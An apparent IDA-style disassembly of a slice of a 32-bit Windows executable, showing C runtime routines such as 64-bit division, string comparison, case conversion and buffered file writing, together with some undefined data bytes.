neg eax
dec eax
retn
sub_41D040 endp
; =============== S U B R O U T I N E =======================================
sub_41D052 proc near ; DATA XREF: ___:0042901Co
push 80h
call sub_41B4D5
test eax, eax
pop ecx
mov dword_4DC91C, eax
jnz short loc_41D073
push 18h
call sub_41DA29
mov eax, dword_4DC91C
pop ecx
loc_41D073: ; CODE XREF: sub_41D052+12j
and dword ptr [eax], 0
mov eax, dword_4DC91C
mov dword_4DC918, eax
retn
sub_41D052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call near ptr 2770000h
nop
lea eax, [ebp+var_20]
push eax
call near ptr 2870000h
nop
mov ax, [ebp+var_16]
cmp ax, word_4DB2E2
jnz short loc_41D0E6
mov ax, [ebp+var_18]
cmp ax, word_4DB2E0
jnz short loc_41D0E6
mov ax, [ebp+var_1A]
cmp ax, word_4DB2DE
jnz short loc_41D0E6
mov ax, [ebp+var_1E]
cmp ax, word_4DB2DA
jnz short loc_41D0E6
mov ax, [ebp+var_20]
cmp ax, word_4DB2D8
jnz short loc_41D0E6
mov eax, dword_4DB2D0
jmp short loc_41D12B
; ---------------------------------------------------------------------------
loc_41D0E6: ; CODE XREF: sub_41D081+28j
; sub_41D081+35j ...
lea eax, [ebp+var_CC]
push eax
nop
call near ptr 2860000h
cmp eax, 0FFFFFFFFh
jz short loc_41D113
cmp eax, 2
jnz short loc_41D10F
cmp [ebp+var_32], 0
jz short loc_41D10F
cmp [ebp+var_24], 0
jz short loc_41D10F
push 1
pop eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D10F: ; CODE XREF: sub_41D081+7Aj
; sub_41D081+81j ...
xor eax, eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D113: ; CODE XREF: sub_41D081+75j
or eax, 0FFFFFFFFh
loc_41D116: ; CODE XREF: sub_41D081+8Cj
; sub_41D081+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4DB2D8
movsd
movsd
movsd
movsd
pop edi
mov dword_4DB2D0, eax
pop esi
loc_41D12B: ; CODE XREF: sub_41D081+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_422669
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41D15B
mov [ecx], eax
locret_41D15B: ; CODE XREF: sub_41D081+D6j
leave
retn
sub_41D081 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D160 proc near
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4DB32C
cmp dword ptr [eax+8], 0
jnz short loc_41D1B3
mov al, 0FFh
mov edi, edi
loc_41D17C: ; CODE XREF: sub_41D160+28j
; sub_41D160+48j
or al, al
jz short loc_41D1AE
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41D17C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41D17C
sbb al, al
sbb al, 0FFh
loc_41D1AE: ; CODE XREF: sub_41D160+1Ej
movsx eax, al
jmp short loc_41D1E7
; ---------------------------------------------------------------------------
loc_41D1B3: ; CODE XREF: sub_41D160+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_41D1BC: ; CODE XREF: sub_41D160+68j
; sub_41D160+80j
or al, al
jz short loc_41D1E7
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41D1BC
push eax
push ebx
call sub_41D74C
mov ebx, eax
add esp, 4
call sub_41D74C
add esp, 4
cmp bl, al
jz short loc_41D1BC
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41D1E7: ; CODE XREF: sub_41D160+51j
; sub_41D160+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_41D160 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41D268
mov edi, [esp+14h]
test edi, edi
jz short loc_41D20B
cmp edi, 1
jz short loc_41D20B
cmp edi, 2
jnz short loc_41D268
loc_41D20B: ; CODE XREF: ___:0041D1FFj
; ___:0041D204j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41D222
push esi
call sub_4227C5
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41D222: ; CODE XREF: ___:0041D213j
push esi
call sub_41DB8B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41D237
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41D24B
; ---------------------------------------------------------------------------
loc_41D237: ; CODE XREF: ___:0041D22Ej
test al, 1
jz short loc_41D24B
test al, 8
jz short loc_41D24B
test ah, 4
jnz short loc_41D24B
mov dword ptr [esi+18h], 200h
loc_41D24B: ; CODE XREF: ___:0041D235j
; ___:0041D239j ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_42272B
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41D275
; ---------------------------------------------------------------------------
loc_41D268: ; CODE XREF: ___:0041D1F7j
; ___:0041D209j
mov dword_4DB278, 16h
or eax, 0FFFFFFFFh
loc_41D275: ; CODE XREF: ___:0041D266j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep
; sub_41386B+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41D299
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41D299: ; CODE XREF: sub_41D280+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41D280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2B4 proc near ; CODE XREF: ___:004162E3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41D2D8
xor eax, eax
jmp loc_41D3A5
; ---------------------------------------------------------------------------
loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41D2EB
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41D2F2
; ---------------------------------------------------------------------------
loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj
mov [ebp+arg_C], 1000h
loc_41D2F2: ; CODE XREF: sub_41D2B4+35j
; sub_41D2B4+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41D326
mov eax, [esi+4]
test eax, eax
jz short loc_41D326
cmp ebx, eax
mov edi, ebx
jb short loc_41D30C
mov edi, eax
loc_41D30C: ; CODE XREF: sub_41D2B4+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41C310
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41D36C
; ---------------------------------------------------------------------------
loc_41D326: ; CODE XREF: sub_41D2B4+47j
; sub_41D2B4+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41D371
test ecx, ecx
jz short loc_41D33A
push esi
call sub_41DB8B
test eax, eax
pop ecx
jnz short loc_41D3B3
loc_41D33A: ; CODE XREF: sub_41D2B4+79j
cmp [ebp+arg_C], 0
jz short loc_41D34D
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41D34F
; ---------------------------------------------------------------------------
loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj
mov edi, ebx
loc_41D34F: ; CODE XREF: sub_41D2B4+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41D3AA
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41D3AA
loc_41D36C: ; CODE XREF: sub_41D2B4+70j
mov edi, [ebp+var_4]
jmp short loc_41D39A
; ---------------------------------------------------------------------------
loc_41D371: ; CODE XREF: sub_41D2B4+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41F58A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41D3B3
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41D39A
mov [ebp+arg_C], 1
loc_41D39A: ; CODE XREF: sub_41D2B4+BBj
; sub_41D2B4+DDj
test ebx, ebx
jnz loc_41D2F2
mov eax, [ebp+arg_8]
loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj
; sub_41D2B4+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj
; sub_41D2B4+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41D3B5
; ---------------------------------------------------------------------------
loc_41D3B3: ; CODE XREF: sub_41D2B4+84j
; sub_41D2B4+CFj
mov eax, edi
loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41D3A5
sub_41D2B4 endp
; =============== S U B R O U T I N E =======================================
sub_41D3BE proc near ; CODE XREF: sub_416908+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
nop
call near ptr 2680495h
cmp eax, 0FFFFFFFFh
jnz short loc_41D3DE
call near ptr 2670D70h
nop
push eax
call sub_4203DF
pop ecx
loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj
test al, 1
jz short loc_41D3FF
test [esp+arg_4], 2
jz short loc_41D3FF
mov dword_4DB278, 0Dh
mov dword_4DB27C, 5
jmp short loc_41D3DA
; ---------------------------------------------------------------------------
loc_41D3FF: ; CODE XREF: sub_41D3BE+22j
; sub_41D3BE+29j
xor eax, eax
retn
sub_41D3BE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D410 proc near ; CODE XREF: sub_416922+3Fp
; sub_41A98C+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41D432
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D473
; ---------------------------------------------------------------------------
loc_41D432: ; CODE XREF: sub_41D410+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41D440: ; CODE XREF: sub_41D410+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D440
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41D46E
cmp edx, [esp+8+arg_4]
ja short loc_41D46E
jb short loc_41D46F
cmp eax, [esp+8+arg_0]
jbe short loc_41D46F
loc_41D46E: ; CODE XREF: sub_41D410+4Ej
; sub_41D410+54j
dec esi
loc_41D46F: ; CODE XREF: sub_41D410+56j
; sub_41D410+5Cj
xor edx, edx
mov eax, esi
loc_41D473: ; CODE XREF: sub_41D410+20j
pop esi
pop ebx
retn 10h
sub_41D410 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D480 proc near ; CODE XREF: sub_416922+2Dp
; sub_41A98C+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41D4A1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41D4F1
; ---------------------------------------------------------------------------
loc_41D4A1: ; CODE XREF: sub_41D480+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41D4AF: ; CODE XREF: sub_41D480+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D4AF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41D4DA
cmp edx, [esp+4+arg_4]
ja short loc_41D4DA
jb short loc_41D4E2
cmp eax, [esp+4+arg_0]
jbe short loc_41D4E2
loc_41D4DA: ; CODE XREF: sub_41D480+4Aj
; sub_41D480+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41D4E2: ; CODE XREF: sub_41D480+52j
; sub_41D480+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41D4F1: ; CODE XREF: sub_41D480+1Fj
pop ebx
retn 10h
sub_41D480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp
; sub_416A32+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41D521
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41D521: ; CODE XREF: sub_41D500+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41D53D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41D53D: ; CODE XREF: sub_41D500+27j
or eax, eax
jnz short loc_41D559
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D59A
; ---------------------------------------------------------------------------
loc_41D559: ; CODE XREF: sub_41D500+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41D567: ; CODE XREF: sub_41D500+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41D567
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41D595
cmp edx, [esp+0Ch+arg_4]
ja short loc_41D595
jb short loc_41D596
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41D596
loc_41D595: ; CODE XREF: sub_41D500+85j
; sub_41D500+8Bj
dec esi
loc_41D596: ; CODE XREF: sub_41D500+8Dj
; sub_41D500+93j
xor edx, edx
mov eax, esi
loc_41D59A: ; CODE XREF: sub_41D500+57j
dec edi
jnz short loc_41D5A4
neg edx
neg eax
sbb edx, 0
loc_41D5A4: ; CODE XREF: sub_41D500+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41D500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp
; sub_4170EC+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DB334
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41D5DE
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41D645
loc_41D5C6: ; CODE XREF: sub_41D5AA+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41D5D7
cmp cl, 7Ah
jg short loc_41D5D7
sub cl, 20h
mov [edx], cl
loc_41D5D7: ; CODE XREF: sub_41D5AA+21j
; sub_41D5AA+26j
inc edx
cmp [edx], bl
jnz short loc_41D5C6
jmp short loc_41D645
; ---------------------------------------------------------------------------
loc_41D5DE: ; CODE XREF: sub_41D5AA+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_422ACA
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41D637
push edi
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41D637
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DB334
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D637
push [ebp+var_4]
push [ebp+arg_0]
call sub_41BEB0
pop ecx
pop ecx
loc_41D637: ; CODE XREF: sub_41D5AA+53j
; sub_41D5AA+61j ...
push [ebp+var_4]
call sub_41B0B1
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41D645: ; CODE XREF: sub_41D5AA+1Aj
; sub_41D5AA+32j
pop ebx
leave
retn
sub_41D5AA endp
; =============== S U B R O U T I N E =======================================
sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p
arg_0 = dword ptr 4
cmp dword_43C504, 1
jle short loc_41D65F
push 4
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D65F: ; CODE XREF: sub_41D648+7j
mov eax, [esp+arg_0]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41D648 endp
; =============== S U B R O U T I N E =======================================
sub_41D670 proc near ; CODE XREF: sub_420510+76p
; sub_420510+88p ...
arg_0 = dword ptr 4
cmp dword_43C504, 1
jle short loc_41D687
push 8
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D687: ; CODE XREF: sub_41D670+7j
mov eax, [esp+arg_0]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41D670 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+0Ch]
test eax, eax
jz short locret_41D6EC
mov edx, [esp+4]
push esi
push edi
mov esi, edx
mov edi, [esp+10h]
or edx, edi
and edx, 3
jz short loc_41D6ED
test eax, 1
jz short loc_41D6CD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41D71A
inc esi
inc edi
dec eax
jz short loc_41D6EA
loc_41D6CD: ; CODE XREF: ___:0041D6C0j
; ___:0041D6E8j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41D71A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41D71A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41D6CD
loc_41D6EA: ; CODE XREF: ___:0041D6CBj
; ___:0041D724j
pop edi
pop esi
locret_41D6EC: ; CODE XREF: ___:0041D6A6j
retn
; ---------------------------------------------------------------------------
loc_41D6ED: ; CODE XREF: ___:0041D6B9j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41D722
repe cmpsd
jz short loc_41D722
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
jnz short loc_41D715
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
loc_41D715: ; CODE XREF: ___:0041D703j
; ___:0041D707j ...
mov eax, 0
loc_41D71A: ; CODE XREF: ___:0041D6C6j
; ___:0041D6D3j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41D722: ; CODE XREF: ___:0041D6F5j
; ___:0041D6F9j
test eax, eax
jz short loc_41D6EA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41D715
dec eax
jz short loc_41D749
cmp dh, ch
jnz short loc_41D715
dec eax
jz short loc_41D749
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41D715
dec eax
loc_41D749: ; CODE XREF: ___:0041D72Fj
; ___:0041D736j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D74C proc near ; CODE XREF: sub_418068+6p
; sub_418086+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DB334, 0
push ebx
push esi
push edi
jnz short loc_41D779
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41D812
cmp eax, 5Ah
jg loc_41D812
add eax, 20h
jmp loc_41D812
; ---------------------------------------------------------------------------
loc_41D779: ; CODE XREF: sub_41D74C+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41D7AD
cmp dword_43C504, esi
jle short loc_41D79B
push esi
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_41D7A5
; ---------------------------------------------------------------------------
loc_41D79B: ; CODE XREF: sub_41D74C+42j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, esi
loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj
test eax, eax
jnz short loc_41D7AD
loc_41D7A9: ; CODE XREF: sub_41D74C+ADj
mov eax, ebx
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj
; sub_41D74C+5Bj
mov edx, off_43C2F8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D7D1
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41D7DA
; ---------------------------------------------------------------------------
loc_41D7D1: ; CODE XREF: sub_41D74C+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41D7DA: ; CODE XREF: sub_41D74C+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DB334
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D7A9
cmp eax, esi
jnz short loc_41D805
movzx eax, [ebp+var_4]
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D805: ; CODE XREF: sub_41D74C+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41D812: ; CODE XREF: sub_41D74C+16j
; sub_41D74C+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41D74C endp
; =============== S U B R O U T I N E =======================================
sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp
; sub_419593+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41D82E
loc_41D824: ; CODE XREF: sub_41D817+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41D824
loc_41D82E: ; CODE XREF: sub_41D817+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41D817 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp
; sub_4185A4+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41D901
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41D92E
cmp dword_4DB334, esi
jnz short loc_41D885
cmp edi, esi
jbe loc_41D92E
loc_41D864: ; CODE XREF: sub_41D834+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41D92E
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41D864
jmp loc_41D92E
; ---------------------------------------------------------------------------
loc_41D885: ; CODE XREF: sub_41D834+26j
mov ebx, [ebp+arg_4]
mov esi, dword_427180
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DB344
call esi
test eax, eax
jnz loc_41D92D
call near ptr 2670D70h
nop
cmp eax, 7Ah
jz short loc_41D8BF
loc_41D8B0: ; CODE XREF: sub_41D834+CBj
; sub_41D834+F7j
mov dword_4DB278, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D8BF: ; CODE XREF: sub_41D834+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41D8C7: ; CODE XREF: sub_41D834+B3j
mov cl, [eax]
test cl, cl
jz short loc_41D8E9
mov edx, off_43C2F8
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D8DE
inc eax
loc_41D8DE: ; CODE XREF: sub_41D834+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41D8C7
loc_41D8E9: ; CODE XREF: sub_41D834+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DB344
call esi
test eax, eax
jnz short loc_41D92E
jmp short loc_41D8B0
; ---------------------------------------------------------------------------
loc_41D901: ; CODE XREF: sub_41D834+Fj
cmp dword_4DB334, esi
jnz short loc_41D914
push [ebp+arg_4]
call sub_41AFE0
pop ecx
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D914: ; CODE XREF: sub_41D834+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DB344
call near ptr 2820000h
nop
cmp eax, esi
jz short loc_41D8B0
loc_41D92D: ; CODE XREF: sub_41D834+6Bj
dec eax
loc_41D92E: ; CODE XREF: sub_41D834+1Aj
; sub_41D834+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D834 endp
; ---------------------------------------------------------------------------
db 0D3h
dd 594E5F00h, 0C224027Ah, 18DDD3h, 0A164122Ah, 0
dd 25896450h, 0
dd 5358EC83h, 65895756h, 4198E8E8h, 33900246h, 89D48AD2h
dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
dd 5BE8FC75h, 90000059h, 4640F1E8h, 0C90CA302h, 19E8004Dh
dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h
dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024626h, 5495E8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 2B2EE856h, 50900226h, 0FE3820E8h, 0A04589FFh
dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h
dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_41DA29 proc near ; CODE XREF: sub_41D052+16p
; ___:00422F18p ...
arg_0 = dword ptr 4
cmp dword_4DB2F0, 1
jnz short loc_41DA37
call sub_423590
loc_41DA37: ; CODE XREF: sub_41DA29+7j
push [esp+arg_0]
call sub_4235C9
push 0FFh
call off_43A2C0
pop ecx
pop ecx
retn
sub_41DA29 endp
; ---------------------------------------------------------------------------
dw 3D83h
dd offset dword_4DB2F0
dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 0E8000000h
dd 77A58245h
db 90h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
